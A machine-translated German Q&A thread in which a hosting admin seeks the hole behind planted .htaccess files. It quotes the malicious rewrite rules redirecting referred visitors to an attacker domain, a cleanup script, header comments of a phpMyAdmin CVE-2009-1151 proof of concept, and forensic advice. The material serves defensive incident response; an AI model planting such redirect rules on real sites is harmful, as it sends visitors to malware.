☰

Suchen nach Schwachstellen auf Webservern

tag-icon • tag-icon apache-2.2 security .htaccess hacking vulnerability
Suchen nach Schwachstellen auf Webservern

Wir betreiben eine Webserverfarm, auf der rund 300 Websites gehostet werden.

Gestern Morgen platzierte ein Skript .htaccess-Dateien, die www-data (dem Apache-Benutzer) gehören.in jedem Verzeichnisunter dem Dokumentstammverzeichnis der meisten (aber nicht aller) Sites.

Der Inhalt der .htaccess-Datei war dieser:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Als ich nach dieser URL googelte (das ist der MD5-Hash von "Antivirus") entdeckte ich, dass das gleiche Problem überall im Internet passiert ist, und suchte jemanden, der sich bereits damit befasst hat und festgestellt hatwo die Verwundbarkeit liegt.

Ich habe die meisten unserer Protokolle durchsucht, aber noch nichts Eindeutiges gefunden. Gibt es andere, denen das Gleiche passiert ist und die bei der Lokalisierung des Lochs weiter gekommen sind als ich?

Bisher haben wir Folgendes festgestellt:

  • die Änderungen wurden als WWW-Daten vorgenommen, daher sind wahrscheinlich Apache oder seine Plugins der Übeltäter
  • alle Änderungen wurden innerhalb von 15 Minuten vorgenommen, also war es wahrscheinlich automatisiert
  • da unsere Websites sehr unterschiedliche Domänennamen haben, gehe ich davon aus, dass eine einzelne Sicherheitslücke auf einer Site dafür verantwortlich war (und nicht eine allgemeine Sicherheitslücke auf allen Sites).
  • wenn bereits eine .htaccess-Datei vorhanden war und von www-data beschrieben werden konnte, dann war das Skript nett und hat die obigen Zeilen einfach an das Ende der Datei angehängt (was es leicht rückgängig zu machen macht)

Für weitere Hinweise bin ich dankbar.

==Bearbeiten==

Für diejenigen, die es brauchen, hier ist das Skript, das ich zum Bereinigen der .htaccess-Dateien verwendet habe:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

Antwort1

Dort ist einausbeutenvon phpMyAdmin

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# von pagvac (gnucitizen.org), 4. Juni 2009.
# besonderer Dank geht an Greg Ose (labs.neohapsis.com) für das Entdecken einer so coolen Schwachstelle,
# und an str0ke (milw0rm.com) für das Testen dieses PoC-Skripts und das Feedback!

# PoC-Skript erfolgreich auf den folgenden Zielen getestet:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 und 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# Angriffsvoraussetzungen:
# 1) anfällige Version (natürlich!): 2.11.x vor 2.11.9.5
# und 3.x vor 3.1.3.1 gemäß PMASA-2009-3
# 2) esscheintdiese Schwachstelle kann nur in Umgebungen ausgenutzt werden,
in denen der Administrator sich für die Installation von phpMyAdmin entschieden hat, nach
demMagierMethode, statt der manuellen Methode:http://snipurl.com/jhjxx

# 3) Der Administrator darf das Verzeichnis „/config/“ # im Verzeichnis „/phpMyAdmin/“ NICHT gelöscht haben . Dies liegt daran, dass dieses Verzeichnis
# der Ort ist, an dem „/scripts/setup.php“ versucht, „config.inc.php“ zu erstellen, wo
# unser bösartiger PHP-Code eingeschleust wird 8)

# weitere Informationen zu:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

Antwort2

Da der Angriff anscheinend über Apache erfolgt ist, würde ich diese beiden Dinge tun:

  1. Durchsuchen Sie alle Zugriffsprotokolle nach „.htaccess“, also etwas wie
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Suchen Sie im Stammverzeichnis des Apache-/httpd-/was-auch-immer-Benutzers nach einer Verlaufsdatei, häufig „/var/www“ oder etwas Ähnliches.

Dadurch wird zunächst festgestellt, ob der Webbenutzer selbst kompromittiert wurde oder ob der Angreifer eine beliebige Befehlsausführung verwendet hat. Es kann auch einen (potenziellen) vollständigen Bericht darüber liefern, was der Angreifer getan hat. So albern es klingt, die meisten Hacks dieser Art räumen selten hinter sich auf und hinterlassen solche Beweise.

Und falls es in Ihrem Unternehmen eine Gruppe gibt, die auf sicherheitsrelevante Vorfälle reagiert oder forensische Untersuchungen durchführt, kann es sich natürlich lohnen, dieser Gruppe die Ausrüstung zu übergeben, bevor Sie mit Ihrer eigenen Analyse beginnen.

verwandte Informationen